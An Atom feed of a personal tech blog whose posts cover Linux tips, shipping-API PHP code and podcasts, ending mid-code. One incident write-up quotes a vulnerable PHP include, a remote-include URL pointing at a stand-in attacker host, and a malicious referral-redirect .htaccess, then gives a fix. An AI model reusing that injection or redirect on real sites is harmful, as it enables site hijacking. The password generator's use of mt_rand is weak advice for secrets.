<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[MarkSanborn.net]]></title>
  <link href="http://www.marksanborn.net/atom.xml" rel="self"/>
  <link href="http://www.marksanborn.net/"/>
  <updated>2012-03-30T14:54:32-07:00</updated>
  <id>http://www.marksanborn.net/</id>
  <author>
    <name><![CDATA[Mark Sanborn]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[What RSS Feeds Does Mark Sanborn Read?]]></title>
    <link href="http://www.marksanborn.net/uncategorized/what-rss-feeds-does-mark-sanborn-read/"/>
    <updated>2009-09-24T05:00:09-07:00</updated>
    <id>http://www.marksanborn.net/uncategorized/what-rss-feeds-does-mark-sanborn-read</id>
    <content type="html"><![CDATA[<p>Ever wonder what RSS feeds I subscribe to?  Here is a quick list of most of the feeds I subscribe to.</p>

<!--more-->


<h2>Niche Alerts</h2>

<p>These are alerts that I have setup so I can see if I am mentioned on twitter or if a general term is being talked about.  Some of these keywords will generate tons of alerts.  For the ones with many alerts I will usually scan these weekly to see any trending topics.</p>

<p><a href="http://www.google.com/reader/public/atom/user/18387753511983399247/state/com.google/alerts/4908075302405648915">Google Alerts: Linux</a>
<a href="http://www.google.com/reader/public/atom/user/18387753511983399247/state/com.google/alerts/6322463353489051089">Google Alerts: Linux Howto</a>
<a href="http://search.twitter.com/search.atom?q=nixtutor">Twitter Search: Nixtutor</a>
<a href="http://search.twitter.com/search.atom?q=linux">Twitter Search : Linux</a>
<a href="http://search.twitter.com/search.atom?q=faceoff+podcast">Twitter Search: Faceoff Podcast</a>
<a href="http://feeds.technorati.com/search/Linux">Technorati Search for: Linux</a>
<a href="http://search.twitter.com/search.atom?q=rocketshipit">Twitter Search: Rocketshipit</a> - UPS, FedEx, USPS web shipping business that I do.</p>

<p>I also have some various work related niche alerts that I won&#8217;t list here.</p>

<h2>Friend&#8217;s Blogs</h2>

<p><a href="http://jaderobbins.com/feed/">Jade Robbins</a> - All about my good friend Jade Robbins the co-host of <a href="http://faceoffshow.com">Faceoff Show</a> and founder of <a href="http://montanafragfest.com">Montana Fragfest</a>.
<a href="http://feeds2.feedburner.com/EricWendelin">Eric Wendelin&#8217;s Blog</a> - I wrote a guest post for Eric a long time ago and been a subscriber ever since.  He talks about, programming and productivity with open-source tools.</p>

<h2>Linux</h2>

<p><a href="http://0ddn1x.wordpress.com/feed">0ddn1x: tricks with *nix</a> - A nice compilation of good linux articles across the net.  Most of these come from social media sites.
<a href="http://feeds.feedburner.com/AdamsTechTalkLinuxHowtosDiscussion">Adam&#8217;s Tech Talk, Linux HOWTOs &amp; Discussion, PHP, MySQL</a>
<a href="http://www.bablotech.com/feed">BabloTech</a>
<a href="http://debaday.debian.net/feed/">Debian Package of the Day</a> - An excellent site.  They definitely don&#8217;t post daily however.
<a href="http://feeds.feedburner.com/linuxscrew">Linux * Screw</a>
<a href="http://www.markshuttleworth.com/feed">Mark Shuttleworth (Founder of Ubuntu)</a> - Posts are few and far between but are usually worth it.
<a href="http://feeds.cyberciti.biz/Nixcraft-LinuxFreebsdSolarisTipsTricks">nixCraft Linux Sys Admin Blog</a> - Nice alternative to <a href="http://www.nixtutor.com/">Nixtutor</a>.  Usually Nix admin articles.
<a href="http://ubuntulinuxhelp.com/feed">Ubuntu Linux Help</a>
<a href="http://sysv.homeip.net/bblog/index.xml">Werner&#8217;s Linux Blog</a>
<a href="http://www.montanalinux.org/rss.xml">MontanaLinux.org</a> - If you live in Montana definitely consider subscribing to this feed.</p>

<h2>General Tech</h2>

<p><a href="http://feeds.gawker.com/lifehacker/full">Lifehacker</a> - Who doesn&#8217;t love lifehacker?  My only complaint is that this feed can be overwhelming. (20+ a day)
<a href="http://www.ghacks.net/feed">gHacks technology news</a>
<a href="http://google-opensource.blogspot.com/atom.xml">Google Open Source Blog</a> - I love open source.  I love google.  I love this feed.<br/>
<a href="http://yatsite.blogspot.com/feeds/posts/default">Yet Another Technology Site</a>
<a href="http://www.pureroon.co.uk/feed">PureRoon.co.uk</a>
<a href="http://www.walkernews.net/feed">Walker News</a></p>

<h2>Gaming</h2>

<p><a href="http://www.montanafragfest.com/feed">Montana Fragfest</a> - <a href="htp://jaderobbins.com">Jade Robbins</a> runs this gaming site that is primarily for Montana residents but everyone is welcomed.  If you play Team Fortress 2 we play every Monday and Thursday night.</p>

<h2>Non Tech</h2>

<p><a href="http://www.montanamushrooms.com/?feed=rss2">Montana Mushrooms</a> - The best damn mushroom blog in town.  Seriously, if you think mushrooms are those little white things you buy in the store check this site out.  The world of mushrooms is so much more.</p>

<h2>Web Development</h2>

<p><a href="http://feeds.feedburner.com/nettuts">NETTUTS - Web development tutorials and links</a> - Great in-depth articles on technology.  I mainly use this feed to check what current web development trends are popular.
<a href="http://feeds2.feedburner.com/Bludice">David Walsh Blog</a> - A Mootools evangelist and web developer.  I have guest posted on David&#8217;s blog and also <a href="http://faceoffshow.com/2009/06/30/episode-23-david-walsh/">interviewed David</a> on <a href="http://faceoffshow.com">Faceoff show</a>.
<a href="http://feeds2.feedburner.com/CssTricks">CSS-Tricks</a> - An awesome resource for CSS and general web development articles and screencasts.</p>

<h2>Security</h2>

<p><a href="http://feeds2.feedburner.com/schneier/fulltext">Schneier on Security</a> - An author of many crypto books and creator of the two fish and blow fish crypto algorithms.
<a href="http://www.securityfocus.com/rss/vulnerabilities.xml">SecurityFocus Vulnerabilities</a> - A very verbose security vulnerability alert service.</p>

<h2>Business and Marketing</h2>

<p><a href="http://feeds2.feedburner.com/typepad/sethsmainblog">Seth&#8217;s Blog</a> - An amazing resource for marketing advice and theory.
<a href="http://feeds.feedburner.com/ProbloggerHelpingBloggersEarnMoney">ProBlogger Blog Tips</a> - The pro of blogging.  Problogger, Darren Rowse.</p>

<h2>Web Apps</h2>

<p>I scan through these daily and pick only the best web apps that I can find.  I then talk about these on our podcast: <a href="http://faceoffshow.com/">Faceoff Show</a>.  I highly recommend that you just subscribe to the podcast so you can skip the useless web apps and get detailed reviews of the good ones.
<a href="http://feeds2.feedburner.com/usefultoolsfeed">Useful Tools</a>
<a href="http://news.cnet.com/8300-17939_109-2.xml">Webware.com</a>
<a href="http://feeds.feedburner.com/MoMB">MoMB</a></p>

<h2>Work</h2>

<p><a href="http://feeds.feedburner.com/Workawesome">WorkAwesome</a> - From the creator of <a href="http://nettuts.com">Nettuts</a>.</p>

<h2>Check personal feeds to make sure they work</h2>

<p>These are feeds that I have subscribed to only to make sure they are working.  Most of these are sites/projects that I contribute to.</p>

<p><a href="http://www.marksanborn.net/comments/feed">Comments for Mark Sanborn . net</a> - The comments for this site.
<a href="http://feeds.feedburner.com/Nixtutor">NixTutor</a> - My blog about Linux
<a href="http://feeds2.feedburner.com/faceoffshow">Faceoff Show</a> - A podcast I co-host about web apps, programming, and entrepreneurship.
<a href="http://code.google.com/feeds/p/ups-php/issueupdates/basic">Issue updates for project ups-php on Google Code</a> - An open source project regarding UPS shipping.</p>

<h2>What else?</h2>

<p>Did I miss something?  Based on my feeds can you recommend a good feed I should subscribe to?</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Schedule a Tweet with One Comnand in Linux]]></title>
    <link href="http://www.marksanborn.net/howto/schedule-a-tweet-with-one-comnand-in-linux/"/>
    <updated>2009-03-09T05:00:49-07:00</updated>
    <id>http://www.marksanborn.net/howto/schedule-a-tweet-with-one-comnand-in-linux</id>
    <content type="html"><![CDATA[<p>Ever want to schedule a tweet to go out at the same time an article is published or an event is started?  Want to do it without signing up to a service or some other complicated task?  Well this post is for you.  I am going to show you how to schedule a tweet from the command line in one line of code.  You can <strong>schedule the tweet to take place ten minutes from now, 14 days, or whenever you wish</strong>.</p>

<!--more-->


<p>Twitter allows programmers and developers to interact with its service using its API.  By sending small bits of XML code or POST data we can send updates or get our friend&#8217;s feeds.  Fortunately Linux has some tools available to it that make this job easy.</p>

<p>To send a tweet from the Linux console all you have to do is send a small snippit of code through <strong>curl</strong> like:</p>

<p><code>curl -u email:password -d status="What is everyone's plan this weekend?" http://twitter.com/statuses/update.xml</code></p>

<p>To make it automated one time we use the &#8217;<strong>at</strong>&#8217; command.</p>

<p>Suppose we want to issue a tweet out tomorrow morning at 5:00am when our post is released.  To do this we would issue the following command:</p>

<p><code>at 5am tomorrow</code></p>

<p>At this point you will be prompted with the <strong>at</strong> console.  This is so you can execute multi-line commands.</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2009/03/at-terminal.jpg" alt="at-terminal" /></p>

<p>Type the following replacing <strong>email</strong> and <strong>password</strong> with your own.</p>

<p><code>curl -u email:password -d status="What is everyone's plan this weekend?" http://twitter.com/statuses/update.xml</code></p>

<p>Then hit enter.  To tell <strong>at</strong> that you are now finished writing commands do, <strong>ctrl+d</strong></p>

<p><strong>To see the current queue just type: </strong></p>

<p><code>atq</code></p>

<p><strong>If you made a mistake you can remove a task by id:</strong></p>

<p><code>atrm 6</code></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Two New Projects Launched: NixTutor and Faceoff Podcast]]></title>
    <link href="http://www.marksanborn.net/miscellaneous/two-new-projects-launched-nixtutor-and-faceoff-podcast/"/>
    <updated>2009-02-09T05:00:29-08:00</updated>
    <id>http://www.marksanborn.net/miscellaneous/two-new-projects-launched-nixtutor-and-faceoff-podcast</id>
    <content type="html"><![CDATA[<p>As you may have noticed posts have slowed a little here on MarkSanborn.net.  This is due to my involvement in two new projects.</p>

<!--more-->


<h3>NixTutor</h3>

<p><a href="http://www.nixtutor.com">NixTutor</a> is a new blog/tutorial site that I created to cater to those that love and use unix like systems.  NixTutor will have full guides and indepth tutorials regarding various unix like topics including:</p>

<ul>
<li><p>Linux</p></li>
<li><p>FreeBSD</p></li>
<li><p>OpenBSD</p></li>
<li><p>NetBSD</p></li>
<li><p>Solaris</p></li>
<li><p>Open Source Software</p></li>
</ul>


<p>For Nix topics subscribe to the <a href="http://feeds2.feedburner.com/nixtutor">NixTutor RSS feed</a>.</p>

<h3>Faceoff Podcast</h3>

<p><a href="http://www.faceoffshow.com"><img src="http://www.marksanborn.net/wp-content/uploads/2009/02/faceofflogo.jpg" alt="faceoff podcast" /></a>The <a href="http://faceoffshow.com/">faceoff prodcast</a> is a new weekly podcast that me and my buddy <a href="http://www.jaderobbins.com">Jade Robbins</a> started that focuses on web technology.</p>

<p>Some of the topics that we have covered include:</p>

<ul>
<li><p>Frameworks</p></li>
<li><p>Ruby on Rails</p></li>
<li><p>Zend Framework</p></li>
<li><p>Wordpress 2.7</p></li>
<li><p>Firebug</p></li>
<li><p>Personal Brand Image</p></li>
<li><p>Negative Blog Comments</p></li>
<li><p>Interesting people to follow on Twitter</p></li>
<li><p>Web apps</p></li>
<li><p>Music while programing</p></li>
<li><p>ups-php</p></li>
<li><p>ie7-js</p></li>
</ul>


<p>To subscribe to the itunes compatible feed <a href="http://faceoffshow.com/feed/podcast">click here</a>.</p>

<h3>How about MarkSanborn.net?</h3>

<p>This site will remain up and I will continue as usual to post on various technology topics; however, expect to see less Linux related posts as they will most likely make their way over to the new <a href="http://www.nixtutor.com">NixTutor</a> site.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Faceoff: Episode 2]]></title>
    <link href="http://www.marksanborn.net/miscellaneous/faceoff-episode-2/"/>
    <updated>2009-02-03T07:00:38-08:00</updated>
    <id>http://www.marksanborn.net/miscellaneous/faceoff-episode-2</id>
    <content type="html"><![CDATA[<p>Well we decided that podcasting was fun and many of our listeners enjoyed it so we continuing with the project.</p>

<p>We opened a website up at <a href="http://www.faceoffshow.com">faceoffshow.com</a> Although the site is not quite up yet, expect a full feature site with proper itunes compatible feeds soon!</p>

<p>In the mean time you can download the podcast directly from here:</p>

<!--more-->


<p>Episode 2:</p>

<p>Topics include:</p>

<ul>
<li><p>Technology people to follow on Twitter</p></li>
<li><p>Web apps</p></li>
<li><p>Music while programing</p></li>
<li><p>ie7-js</p></li>
<li><p>ups-php</p></li>
<li><p>Desktop virtualization</p></li>
</ul>


<p><a href="http://www.faceoffshow.com/audio/Faceoff-002-FavoriteWebapps.mp3">Faceoff-002-FavoriteWebapps.mp3</a></p>

<h3>Show Notes:</h3>

<p>Gary Vaynerchuck<a href="http://www.twitter.com/garyvee">twitter.com/garyvee</a>
<a href="http://www.garyvaynerchuk.com">garyvaynerchuk.com</a>
Matt Cutts - <a href="http://www.twitter.com/mattcutts">twitter.com/mattcutts</a>
<a href="http://www.mattcutts.com/blog">mattcutts.com/blog</a>
<a href="http://code.google.com/p/ie7-js/">IE 7 JS plugin</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Faceoff: A New Podcast by Mark Sanborn and Jade Robbins]]></title>
    <link href="http://www.marksanborn.net/uncategorized/faceoff-a-new-podcast-by-mark-sanborn-and-jade-robbins/"/>
    <updated>2009-01-27T07:00:25-08:00</updated>
    <id>http://www.marksanborn.net/uncategorized/faceoff-a-new-podcast-by-mark-sanborn-and-jade-robbins</id>
    <content type="html"><![CDATA[<p>This is the first episode of our new podcast called, Face Off.</p>

<p>This was our first recording of any kind ever.  Since this is our first podcast it is very amateur.  There are times in the podcast where there is light swearing.  The first recording was also not structured and was never really meant to be a podcast until we were done and had over an hour worth of material we wanted to share, so, please bare with us.  We promise to have a more structured show for episode two.</p>

<!--more-->


<p>If this is something you would like to see more of please let us know either by leaving a comment below or sending me or <a href="http://jaderobbins.com">Jade Robbins</a> an email.</p>

<p>Episode 1: 56:30</p>

<p>Topics include:</p>

<ul>
<li><p>Frameworks</p></li>
<li><p>Ruby on Rails</p></li>
<li><p>Zend Framework</p></li>
<li><p>Wordpress 2.7</p></li>
<li><p>Firebug</p></li>
<li><p>Personal Brand Image</p></li>
<li><p>Negative Blog Comments</p></li>
</ul>


<p>Without further ado</p>

<p><a href="http://www.marksanborn.net/audio/Faceoff-001-Frameworks.mp3">Faceoff-001-Frameworks.mp3</a></p>

<p><strong>You can listen to <a href="http://www.marksanborn.net/miscellaneous/faceoff-episode-2/">Episode 2</a> when you are done with this one.</strong></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Extract without First Directory]]></title>
    <link href="http://www.marksanborn.net/linux/extract-without-first-directory/"/>
    <updated>2009-01-06T07:00:32-08:00</updated>
    <id>http://www.marksanborn.net/linux/extract-without-first-directory</id>
    <content type="html"><![CDATA[<p>Whenever I download something that is compressed on the Internet in a .zip, .rar or .tar.gz it is always a crapshot whether or not it contains a &#8220;container directory&#8221;.  A &#8220;container directory&#8221; is a directory that contains all the other files usually with the same name as the compressed file.</p>

<!--more-->


<p>For example the Zend Framework when downloaded contains a folder called, &#8217;<strong>ZendFramework-1.7.2</strong>&#8217;.  All the other files are contained under this folder.  This is great but sometimes I want to extract the contents of the folder without the &#8220;container folder&#8221;.</p>

<p>This is how I used to extract the contents and remove the &#8220;container folder&#8221;:</p>

<p><code>tar -xvf ZendFramework-1.7.2.tar.gz</code></p>

<p>Get rid of the tarball&#8230;</p>

<p><code>rm ZendFramework-1.7.2.tar.gz</code></p>

<p><code>cd ZendFramework-1.7.2/</code></p>

<p>Which would result in:</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2009/01/tarlist.png" alt="Zend Framework Directory Structure" /></p>

<p>Copy everything in the &#8220;container&#8221; folder and move it up a directory.</p>

<p><code>cp -rf * ../</code></p>

<p>Now I have found a better way&#8230;</p>

<h3>A better way</h3>

<p>The flag that I have learned is the strip flag.  This will strip off the first directory and extract the rest.</p>

<p><code>tar -xvf ZendFramework-1.7.2.tar.gz --strip 1</code></p>

<p>The only thing now is&#8230; How do I tell if a tar contains a &#8220;container folder&#8221;?</p>

<p>Easy</p>

<p><code>tar -tf ZendFramework-1.7.2.tar.gz | head</code></p>

<p>This will list contents of the file &#8217;<strong>ZendFramework-1.7.2.tar.gz</strong>&#8217; showing only the first few lines.</p>

<p>What do you think? Is there an even better way?</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Mastering the UPS Shipping API: Rate Shopping Dropdown]]></title>
    <link href="http://www.marksanborn.net/uncategorized/mastering-the-ups-shipping-api-rate-shopping-dropdown/"/>
    <updated>2008-12-19T07:00:42-08:00</updated>
    <id>http://www.marksanborn.net/uncategorized/mastering-the-ups-shipping-api-rate-shopping-dropdown</id>
    <content type="html"><![CDATA[<p>One of the first parts of the checkout process of any ecommerce site is to provide the customer with a dropdown box with shipping options.  In this tutorial we are going to shop for various UPS rates and display them in a convenient drop down.</p>

<!--more-->


<p>If you are new to the UPS API first read this article, <a href="http://www.marksanborn.net/howto/mastering-the-ups-shipping-api-getting-started/">Mastering the UPS Shipping API: Getting Started</a>.  You will need to have access to UPS&#8217;s online web tools.  You can register <a href="https://www.ups.com/servlet/registration?loc=en_US&amp;returnto=http%3A%2F%2Fwww.ups.com%2Fe_comm_access%2FlaServ%3Floc%3Den_US">here</a>.</p>

<h3>Getting ups-php</h3>

<p>The first step is to go and get <a href="http://code.google.com/p/ups-php">ups-php</a>.  For this guide we will use the latest code by downloading it with svn.</p>

<p><code>mkdir ups-php
svn checkout http://ups-php.googlecode.com/svn/trunk/ .</code></p>

<p>Once downloaded you will notice that there is a folder called <strong>tests</strong> inside of tests there are <strong>rates</strong> and <strong>tracking</strong>.  In <strong>rates</strong> there is a file called <strong>test_shopRates.php</strong>.  This file contains a working sample test code.  Simply enter your UPS credentials and hit submit.</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2008/12/upsShopTest.png" alt="ups-php test login" /></p>

<p>You will than have a big giant array with tons of information available to us.</p>

<h3>Getting the correct values</h3>

<p>With all this information what do we really need to get to the bottom of the line and display a simple dropdown with a couple of shipping options?</p>

<p>We need the <strong>total charge</strong> for the package:</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2008/12/TotalCharges.png" alt="total charges" /></p>

<p>And the <a href="http://www.marksanborn.net/php/calculating-ups-shipping-rate-with-php/">UPS service code</a>:</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2008/12/serviceCode.png" alt="service code" /></p>

<p>Now we have the required information.  We know that the <strong>total charge</strong> for the package is in the hashed array:</p>

<pre><code>$response['RatingServiceSelectionResponse']['RatedShipment'][0]['TotalCharges']['MonetaryValue']['VALUE'];
</code></pre>

<p>And that the <strong>UPS Service Code</strong> is in this hashed array:</p>

<pre><code>$response['RatingServiceSelectionResponse']['RatedShipment'][0]['Service']['Code']['VALUE'];
</code></pre>

<h3>Looping through all the available services</h3>

<p>These values are nice but they only represent one of the available services that UPS offers.  If you notice in the array hash reference above we have a <strong>[0]</strong> after <strong>[&#8216;RatedShipment&#8217;]</strong>.  This represents the first set in a group of multiple &#8221;<strong>RatedShipments</strong>&#8221;.</p>

<p>We need to loop through all of them and display them like this:</p>

<pre><code>$response = $upsRate-&gt;returnResponseArray();

foreach ($response['RatingServiceSelectionResponse']['RatedShipment'] as $service) {
    echo $service['Service']['Code']['VALUE']. '&lt;br /&gt;';
    echo $service['TotalCharges']['MonetaryValue']['VALUE']. '&lt;br /&gt;';
} 
</code></pre>

<p>This will print out all the UPS Service Codes with the total cost for the service.  All we have to do now is add some HTML and put them in a drop down.</p>

<pre><code>&lt;select&gt;
&lt;?php $response = $upsRate-&gt;returnResponseArray();

foreach ($response['RatingServiceSelectionResponse']['RatedShipment'] as $service) {
    $serviceCode = $service['Service']['Code']['VALUE'];
    $totalCharges = $service['TotalCharges']['MonetaryValue']['VALUE'];

    echo "&lt;option value=\"$serviceCode\"&gt;$serviceCode ($totalCharges)&lt;/option&gt;";
} 
?&gt;
&lt;/select&gt;
</code></pre>

<p>You should end up with something like this:</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2008/12/dropdown.png" alt="UPS service drop down" /></p>

<p>From here all you have to do is convert the service codes to their respective names found in this article, <a href="http://www.marksanborn.net/php/calculating-ups-shipping-rate-with-php/">Calculating UPS Shipping Rate with PHP</a>.  If you get stuck just go back to the example provided with ups-php, <strong>test_rates.php</strong>.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Auto Pastebin with Pastebinit]]></title>
    <link href="http://www.marksanborn.net/programming/auto-pastebin-with-pastebinit/"/>
    <updated>2008-12-05T07:00:40-08:00</updated>
    <id>http://www.marksanborn.net/programming/auto-pastebin-with-pastebinit</id>
    <content type="html"><![CDATA[<p>If you have ever been in an irc channel or IM and needed to show another programmer your code you have probably used <a href="http://pastebin.com/">Pastebin</a> before or a similar service.  You simply go to the website copy and paste and hit submit and you have a link generated so you can hand it out to your fellow programmer.</p>

<!--more-->


<p>I&#8217;m always someone that is looking for a faster/better way of doing things and copying, pasting, switching screens, and navigating to a website is a huge waste of time.  With pastebinit I can skip all of that and just type:</p>

<p><code>pastebinit myclass.php</code></p>

<p>And voila!</p>

<p>This is handy for me since I always do my development on a Linux machine with a console based text editor.</p>

<p>For the Debian/Ubuntu lovers you can install by doing:</p>

<p><code>apt-get install pastebinit</code></p>

<p>For other Linux distributions, you know the routine.</p>

<p>For you Windows guys get a real operating system or at the very least download <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">PuTTY</a> and SSH into a real operating system when developing.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Installing Windows IPsec Firewall]]></title>
    <link href="http://www.marksanborn.net/howto/installing-windows-ipsec-firewall/"/>
    <updated>2008-12-04T07:00:35-08:00</updated>
    <id>http://www.marksanborn.net/howto/installing-windows-ipsec-firewall</id>
    <content type="html"><![CDATA[<p>Just recently I found a post that described using the <a href="http://hinchley.net/2008/08/20/use-ipseccmd-to-block-outbound-traffic-in-windows-xp/">ipseccmd</a> in Windows.  I honestly had no idea that this tool existed for Windows.  I found this article while searching for a way to block outgoing traffic on the local computer as apposed to making firewall policies.  This was the perfect solution for network testing, forcing productivity, optimization and security in Windows.</p>

<!--more-->


<p>To get the firewall for Windows you will need to download, <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=49ae8576-9bb9-4126-9761-ba8011fabf38&amp;displaylang=en">Windows Support Tools</a>.  When installing make sure you select the <strong>complete</strong> option.</p>

<h3>Security and Optimization</h3>

<p>In the firewall world security and optimziation goes hand in hand.  Spyware applications will absolutely eat a computer alive with useless communication and sneaky transfers.  Turning off ports provides extra security and blocks these applications from communicating thus making your internet faster and reducing ping latency.  In many games latency is the difference between life and death, especially in first person shooters.  While playing these games you cannot afford to have other programs transferring data.</p>

<p>It is not always spyware causing problems, sometimes it is legitimate traffic simply running at the wrong times.   Windows will decide to do an automatic update (if you have it turned on), or other applications you may installed might hog your bandwidth and sky rocket your ping times.  With IPsec you can turn everything off except the game.</p>

<h3>Disabling internet service</h3>

<p>The following command will disable all outgoing traffic:</p>

<p><code>cd "c:\Program Files/Support Tools"
ipseccmd -f [0=*:*:*]</code></p>

<p>Once everything is disabled you will want to allow outgoing traffic for your game.  Simply add the port to the allow list like this:</p>

<p><code>ipseccmd -f (0=*:27016:TCP)</code></p>

<p>If you look up games by hostname/dns you will need to open up port 53 UDP as well.</p>

<h3>Forcing Productivity</h3>

<p>Maybe you just want to be more productive and don&#8217;t want to be distracted by IMs and the temptation to check your email.  You can disable all traffic except SSH traffic port 22 for web development like this:</p>

<p><code>ipseccmd -f [0=*:*:*]
ipseccmd -f (0=*:22:TCP)</code></p>

<p>To add access to FTP you can add:</p>

<p><code>ipseccmd -f (0=*:21:TCP)</code></p>

<p>If you wanted you could place these commands in a .bat file and have them run at specific intervals effectively turning off your internet at scheduled times.</p>

<h3>Reverting changes</h3>

<p>If you want to undo all the changes to the default firewall changes just throw down this command.</p>

<p><code>ipseccmd -u</code></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[PHP Include Injection and Google Referral Hijack]]></title>
    <link href="http://www.marksanborn.net/php/php-include-injection-and-google-referral-hijack/"/>
    <updated>2008-12-03T07:00:02-08:00</updated>
    <id>http://www.marksanborn.net/php/php-include-injection-and-google-referral-hijack</id>
    <content type="html"><![CDATA[<p>So recently a <a href="http://montanafragfest.com">friend of mine</a>, had a client that had a very odd problem.  His website was working fine when you go to it directly by typing in the domain name; however, if you searched for the site in Google and clicked the link for the site it would take you to a hijacked page.</p>

<!--more-->


<p>So the page only appeared hijacked when the referral was coming from Google.  The hijack could go unnoticed for months.  You would either have to be googleing yourself or wait until a good samaritan sends you an email warning you of the problem.  I must say this sort of attack is quite clever on the hijacker&#8217;s part.  The hijacked page gets the original site&#8217;s page rank and Google visits while the site owner has absolutely no clue.</p>

<h3>Fixing it</h3>

<p>The first part of the problem was to fix the hijack.  This was easily solved by simply deleting the .htaccess and restoring it with the original.  The hacked .htaccess contained a redirect similar to something like this:</p>

<p><code>RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://google\.com
RewriteRule .* http://www.anotherdomain.com [R=301,L]</code></p>

<p>The second part of the problem was to find how the hacker was able to change the .htaccess.  Since we don&#8217;t have access to shared hosting logs we were going to to have to do it the hard way.</p>

<p>We first tried a tool called, <a href="http://cirt.net/nikto2">nikto</a>.  After running the tool it returned a myriad of potential problems that could have caused an attack, like old versions of PHP, old cgi scripts etc.. After thinking about it we thought that if it was the host&#8217;s fault there would be thousands of websites effected so we started digging into the code and found something interesting:</p>

<pre><code>include_once("$_GET[page].inc.php");
</code></pre>

<p>This one liner was the culprit we were looking for.  This segment of code was used to include some code based on the particular pages the user was on.  The problem with it however is that it blindly accepts any value here.  Remember the golden rule: <strong>Sanatize all input!</strong>  Failure to sanitize this input led to an attacker able to do something like this:</p>

<p><code>http://www.domain.com/index.php?page=attacker.com/attack</code></p>

<p>He would then have a script at his site called attack.inc.php.  The attacker knew that they needed the <strong>.inc.php</strong> extension because the when they passed, &#8217;<strong>foobar</strong>&#8217; through the page variable they got an error explaining that it wasn&#8217;t there.  To prevent this knowledge you could supress the PHP error messages or use PHP required function instead and throw out a die statement.  This would only provide obscurity however.  We needed to eliminate the vulnerability with input sanitation.</p>

<p>To do this we used a simple <a href="http://www.marksanborn.net/howto/learning-regular-expressions-for-beginners-the-basics/">regular expression</a> that would only accept a-z and A-Z.  This would prevent remote includes and path traversing.</p>

<pre><code>&lt;?php
function sanitizeInput($string) { 
    return preg_replace("/[^A-Za-z]/", "", $string); 
}  

echo sanitizeInput('blah123');     
?&gt;
</code></pre>

<p>Remember to check over your code especially when getting input from the user.  This is a very sneaky attack that would ruin your Google page rank and your traffic before you even noticed what was going on.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Random Password (String) Generator for PHP]]></title>
    <link href="http://www.marksanborn.net/php/random-password-string-generator-for-php/"/>
    <updated>2008-12-02T07:00:48-08:00</updated>
    <id>http://www.marksanborn.net/php/random-password-string-generator-for-php</id>
    <content type="html"><![CDATA[<p>Random string generators are something we programmers end up using quite a bit.  Sometimes you want to generate a random file name, a random email verification link, a random password, random token, etc.. Here is the one that I have been using lately.</p>

<!--more-->


<p>This password generator uses the <a href="http://en.wikipedia.org/wiki/Mersenne_Twister">Mersenne Twister algorithm</a> to generate random digits.  You can learn more about it at <a href="http://en.wikipedia.org/wiki/Mersenne_Twister">Wikipedia</a> or on <a href="http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html">Makoto Matsumoto&#8217;s website</a>.</p>

<pre><code>&lt;?php
function randomString($length = 10, $chars = '1234567890') {

    // Alpha lowercase
    if ($chars == 'alphalower') {
        $chars = 'abcdefghijklmnopqrstuvwxyz';
    }

    // Numeric
    if ($chars == 'numeric') {
        $chars = '1234567890';
    }

    // Alpha Numeric
    if ($chars == 'alphanumeric') {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
    }

    // Hex
    if ($chars == 'hex') {
        $chars = 'ABCDEF1234567890';
    }

    $charLength = strlen($chars)-1;

    for($i = 0 ; $i &lt; $length ; $i++)
        {
            $randomString .= $chars[mt_rand(0,$charLength)];
        }

    return $randomString;
}

echo randomString(8,'numeric');
?&gt;
</code></pre>

<p>Syntax is <strong>randomString([int],[predifined | custom char set]);</strong></p>

<p>For example to create an 8 character alpha numeric string you could use:</p>

<pre><code>randomString(8,'alphanumeric');
</code></pre>

<p>Of if you wanted a string with only a small subset of characters you could use:</p>

<pre><code>randomString(8,'abco0iLlI');
</code></pre>

<p>Do you use something similar?</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Printing a Label for USPS with PHP]]></title>
    <link href="http://www.marksanborn.net/php/printing-a-label-for-usps-with-php/"/>
    <updated>2008-12-01T07:00:27-08:00</updated>
    <id>http://www.marksanborn.net/php/printing-a-label-for-usps-with-php</id>
    <content type="html"><![CDATA[<p>If you have been following the posts on USPS you should know how to <a href="http://www.marksanborn.net/php/calculating-usps-shipping-rates-with-php/">calculate USPS shipping rates with PHP</a>.  Today we are going to use the same USPS API to print out a label.  One of the advantages of this is that you get free tracking on all priority shipments when you create your own label.  The other advantages is that you get to integrate automatic label generation with your website for customers or for your own shipping.</p>

<!--more-->


<p>Start off by making a file called, <strong>USPSLabel.php</strong> and copy and paste the code below and save it.</p>

<p>Then Change the <strong>userName</strong> variable with your USPS username and change the rest of the variables to match your label.</p>

<p><strong>USPSLabel.php</strong></p>

<pre><code>&lt;?php
function USPSLabel() {

// This script was written by Mark Sanborn at http://www.marksanborn.net
// If this script benefits you are your business please consider a donation
// You can donate at http://www.marksanborn.net/donate.

// ========== CHANGE THESE VALUES TO MATCH YOUR OWN ===========

$userName = ''; // Your USPS Username
$FromName = '';
$FromAddress2 = '';
$FromCity = '';
$FromState = '';
$FromZip5 = '';

$ToName = '';
$ToAddress2 = '';
$ToCity = '';
$ToState = '';
